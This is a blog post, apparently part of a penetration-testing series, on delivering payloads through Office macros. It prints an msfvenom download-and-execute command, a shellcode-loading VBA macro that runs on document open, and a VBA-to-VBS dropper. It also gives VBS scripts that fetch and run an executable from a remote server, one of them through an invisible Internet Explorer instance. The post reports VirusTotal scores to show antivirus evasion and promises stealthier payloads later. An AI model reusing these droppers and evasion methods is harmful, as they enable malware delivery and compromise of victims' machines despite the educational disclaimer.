APT Insights Part 1: VBA and VBS

In the realm of penetration testing, VBA (Visual Basic for Applications) and VBS (Visual Basic Script) macros are powerful tools for delivering payloads to target systems. These scripting languages, often embedded in Office documents, offer a stealthy method to execute malicious code.

In this series of articles I'll go through the exercises found in the book Advanced Penetration Testing by Wil Allsopp, other posts can be found at:

APT Insights Part 1: VBA and VBS
APT Insights Part 2: Command and Control
APT Insights Part 2.1: C/C++ Dev Environment with Visual Studio and vcpkg

As I progress through the book I'll try to find alternative solutions for the outdated methods/techniques, since the book was published in 2017 not all examples will work out-of-the-box. Despite the year of publication and based on the reviews the book is still a relevant entry-level read for those who want to gain insight into advanced penetration testing and how advanced persistent threats work behind the scenes.

Disclaimer: This content is for educational purposes only. The techniques and tools discussed are intended solely for ethical and legal penetration testing, and security research within the bounds of the law. Unauthorized use of these techniques on systems and networks that you do not own or have explicit permission to test is illegal and unethical. The author and publisher disclaim any responsibility for any misuse or damage resulting from the application of the information provided.

Payload Delivery Part 1: Learning How to Use the VBA Macro

VBA (Visual Basic for Applications) is a programming language developed by Microsoft that is used for writing macros to automate tasks within Microsoft Office applications like Excel, Word, and Access. It allows users to create custom functions, automate repetitive tasks, and enhance the functionality of Office applications.

In the following, I'll demonstrate how to (and NOT to) create a stager that executes a payload when the target opens a Word of Excel document.

  • Stager: A loader or stager will merely load an extension of the malware into memory. The purpose is to keep the initial stage light and undetectable.

How NOT to Stage a VBA Attack

Using msfvenom during an engagement has several disadvantages, such as:

  • Detectability: Code generated by msfvenom is often easily detected by antivirus and endpoint protection software because security professionals and malware analysts are familiar with msfvenom payload structures making it easier for them to create detection rules.
  • Limited Customization: The payloads may not offer the level of customization required for sophisticated attacks, limiting the ability to tailor the macro to specific environments or targets.
  • Dependence on Metasploit: Using msfvenom ties you to the Metasploit framework, which may not always be desirable or practical for all testing scenarios.
  • Size Constraints: The generated payloads might be large, which can be problematic if there are size restrictions on the macro code.
  • Compatibility Issues: The payloads might not be compatible with all versions of Office or could cause crashes, reducing the reliability of the attack.

Let's see some examples.

msfvenom-generated VBA macro code

The following command will create a VBA script that will download and execute a Windows executable from an URL:

msfvenom -p windows/download_exec -f vba -e x86/shikata_ga_nai -i 5 -a x86 --platform Windows URL=[url] -o msfvenom_vba.vba

As it can be seen below, the code is obfuscated and the shellcode is encoded using several iterations of the shikata-ga-nai algorithm.

  • Shikata-Ga-Nai is a polymorphic xor additive feedback encoder within the Metasploit Framework. This encoder offers three features that provide advanced protection when combined. First, the decoder stub generator uses metamorphic techniques, through code reordering and substitution, to produce different output each time it is used, in an effort to avoid signature recognition. Second, it uses a chained self modifying key through additive feedback. This means that if the decoding input or keys are incorrect at any iteration then all subsequent output will be incorrect. Third, the decoder stub is itself partially obfuscated via self-modifying of the current basic block as well as armored against emulation using FPU instructions. (source: CodeXt: Automatic Extraction of Obfuscated Attack Code from Memory Dump)

Nonetheless, the payload is detected by Windows Defender (TrojanDownloader:O97M/Donoff) and most AV solutions regarding to virustotal.com.

Let's analyze the VBA macro generated by msfvenom.

In this section, 3 functions being imported from kernel32.dll. The purpose of these is to create a process thread, allocate memory for the shellcode and move the shellcode into that memory space.

#If Vba7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zqujob As Long, ByVal Hqq As Long, ByVal Ksjmihi As LongPtr, Bsrc As Long, ByVal Bbgmnyard As Long, Suhtftzn As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Qah As Long, ByVal Iipm As Long, ByVal Wilwsvwp As Long, ByVal Npbt As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Jsig As LongPtr, ByRef Lubxctra As Any, ByVal Ifaoojtgi As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Zqujob As Long, ByVal Hqq As Long, ByVal Ksjmihi As Long, Bsrc As Long, ByVal Bbgmnyard As Long, Suhtftzn As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Qah As Long, ByVal Iipm As Long, ByVal Wilwsvwp As Long, ByVal Npbt As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Jsig As Long, ByRef Lubxctra As Any, ByVal Ifaoojtgi As Long) As Long
#EndIf

The pattern of using VirtualAlloc, RtlMoveMemory, and CreateThread matches known behaviors of malware.

The Auto_Open, AutoOpen, and Workbook_Open subroutines ensure that the payload runs when the document is opened.

Sub Auto_Open()
    Dim Ovp As Long, Ijtjcit As Variant, Dkrukpjet As Long
#If Vba7 Then
    Dim  Fbbnje As LongPtr, Ijil As LongPtr
#Else
    Dim  Fbbnje As Long, Ijil As Long
#EndIf
    Ijtjcit = Array(217,192,217[...SNIP...])

    Fbbnje = VirtualAlloc(0, UBound(Ijtjcit), &H1000, &H40)
    For Dkrukpjet = LBound(Ijtjcit) To UBound(Ijtjcit)
        Ovp = Ijtjcit(Dkrukpjet)
        Ijil = RtlMoveMemory(Fbbnje + Dkrukpjet, Ovp, 1)
    Next Dkrukpjet
    Ijil = CreateThread(0, 0, Fbbnje, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

(!) This VBA macro could work as a demonstration in some lab environment which lacks any kind of AV solution but would fail miserably in a real world engagement.

VBA/VBS Dual Stager

In order to avoid detection by AV it is recommended not to use shellcode in the macro, the idea here is to use the VBA macro to drop a VBS script on disk and run it.

The following VBA macro will create a file called payload.vbs and write VBS statements to it and runs the script:

Sub WritePayload()
    Dim PayloadFile As Integer
    Dim FilePath As String
        FilePath = "C:\Users\winuser\Desktop\tmp\payload.vbs"
        PayloadFile = FreeFile
        Open FilePath For Output As TextFile
        Print #PayloadFile, "Test 1"
        Print #PayloadFile, "Test 2"
        Print #PayloadFile, "Test 3"
        Print #PayloadFile, "Test 4"
    Close PayloadFile
    Shell "wscript C:\Users\winuser\Desktop\tmp\payload.vbs"
End Sub

The following VBS script will download and run payload.exe from the given URL:

HTTPDownload "http://192.168.1.4:8001/payload.exe", "C:\Users\winuser\Desktop\tmp\"
    Sub HTTPDownload( myURL, myPath )
        Dim i, objFile, objFSO, objHTTP, strFile, strMsg
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Set objFSO = CreateObject( "Scripting.FileSystemObject" )
        If objFSO.FolderExists( myPath ) Then
            strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(myURL, "/" ) + 1 ) )
        ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
            strFile = myPath
End If
        Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
        Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
        objHTTP.Open "GET", myURL, False
        objHTTP.Send
        For i = 1 To LenB( objHTTP.ResponseBody )
            objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
 Next
    objFile.Close( )
    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.Run "c:\temp\payload.exe"
    End Sub

As it can be seen below, after the VBA and VBS script were put together, the test run succeeded with the harmless payload.txt, so far we didn't get any alerts from Windows Defender:

Attacker's HTTP server log

Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
192.168.1.160 - - [12/Jun/2024 17:17:32] "GET /payload.txt HTTP/1.1" 200 -

Victim's system Pasted image 20240612172833.png

VirusTotal Results

VBA macro (passed)

The macro enabled test.docx has a 0/66 hit rate on VirusTotal - File - 14f2de94a5ede2246cf57c135f0c591f29457f6f352f9cb0451b685ea5596d51. Pasted image 20240613111726.png

VBS script (failed)

The VBS script itself triggers a lot of warnings, it resulted in a 10/64 hit rate on VirusTotal - File - 8c760b01809ecc01870c72cc5970d6f6b0a2180390072f41e680fea1f7c239dd. Pasted image 20240613112051.png

Dechaining the VBS script

As I looked for solutions to achieve a lower AV hitrate on VirusTotal I stumbled upon the following article:

The following VBS script utilizes the Internet Explorer COM (as described in the above article) to spawn a browser from svchost to download content what later saved to disk:

'Open IE
Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "http://192.168.1.4:8001/testfile.txt"
'Make IE invisible
ie.Visible = False

' Wait until resource has finished loading (readyState == 4)
Do Until ie.readyState = 4
    WScript.Sleep 100
Loop

' Load file contents into a variable
Dim payload
payload = ie.Document.Body.innerHTML

' Close IE
ie.Quit
Set ie = Nothing

' 3 sec delay
WScript.Sleep 3000

' Write payload to a file
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Dim filePath
filePath = "C:\Users\winuser\Desktop\tmp\testfile.txt"
Set outFile = fso.CreateTextFile(filePath, True)
outFile.Write payload

' 3 sec delay
WScript.Sleep 3000

' Run the payload
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run filePath, 1, False
Set shell = Nothing

' Clean up
outFile.Close
Set fso = Nothing
Set outFile = Nothing

As it can be seen below, the vbs script itself passed the tests on VirusTotal with a 1/63 score, fair enough.

Conclusion

I’d like to emphasize that the above examples are a bit crude; there's room to improve both in terms of sophistication and stealth. This content is more like a presentation on how to approach this topic. As I progress through the book, in the next chapters, I’ll get into obfuscation and C2 basics, providing an entry point for those interested in creating more resilient and stealthy payloads.

Stay tuned for more techniques, and remember: with great power comes great responsibility. Use this knowledge ethically and always with permission from the system owner.

Thoughts? Leave a comment